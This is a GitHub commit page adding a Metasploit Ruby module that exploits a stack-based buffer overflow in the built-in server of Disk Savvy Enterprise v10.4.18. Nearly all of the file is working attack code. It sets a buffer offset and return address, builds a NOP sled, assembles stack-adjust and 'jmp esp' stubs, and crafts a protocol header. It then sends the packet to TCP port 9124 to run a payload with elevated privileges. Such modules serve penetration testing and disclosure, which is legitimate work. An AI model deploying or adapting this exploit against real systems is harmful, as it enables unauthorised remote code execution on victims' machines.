Skip to content

Commit 929027a

Browse files
Disk Savvy Server Buffer Overflow
1 parent 07763cc commit 929027a

File tree

1 file changed

+76
-0
lines changed

1 file changed

+76
-0
lines changed
Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = GreatRanking
8+
9+
include Msf::Exploit::Remote::Tcp
10+
11+
def initialize(info = {})
12+
super(update_info(info,
13+
'Name' => 'Disk Savvy Enterprise v10.4.18',
14+
'Description' => %q{
15+
This module exploits a stack-based buffer overflow vulnerability
16+
in Disk Savvy Enterprise v10.4.18, caused by improper bounds
17+
checking of the request sent to the built-in server. This module
18+
has been tested successfully on Windows 7 SP1 x86.
19+
},
20+
'License' => MSF_LICENSE,
21+
'Author' =>
22+
[
23+
'Daniel Teixeira'
24+
],
25+
'DefaultOptions' =>
26+
{
27+
'EXITFUNC' => 'thread'
28+
},
29+
'Platform' => 'win',
30+
'Payload' =>
31+
{
32+
'BadChars' => "\x00\x02\x0a\x0d\xf8",
33+
'Space' => 355
34+
},
35+
'Targets' =>
36+
[
37+
[ 'Disk Savvy Enterprise v10.4.18',
38+
{
39+
'Offset' => 124,
40+
'Ret' => 0x10056d13
41+
}
42+
]
43+
],
44+
'Privileged' => true,
45+
'DisclosureDate' => 'Jan 31 2017',
46+
'DefaultTarget' => 0))
47+
48+
register_options([Opt::RPORT(9124)])
49+
50+
end
51+
52+
def exploit
53+
connect
54+
55+
buffer = make_nops(target['Offset'])
56+
buffer << "\x90\x09\xEB\x05"
57+
buffer << [target.ret].pack('V')
58+
buffer << make_nops(10)
59+
buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,100").encode_string * 20
60+
buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp esp").encode_string
61+
buffer << make_nops(441)
62+
buffer << payload.encoded
63+
64+
header = "\x75\x19\xba\xab"
65+
header << "\x03\x00\x00\x00"
66+
header << "\x00\x40\x00\x00"
67+
header << [buffer.length].pack("V")
68+
header << [buffer.length].pack("V")
69+
header << [buffer[-1].ord].pack("V")
70+
packet = header
71+
packet << buffer
72+
73+
sock.put(packet)
74+
handler
75+
end
76+
end

0 commit comments

Comments
 (0)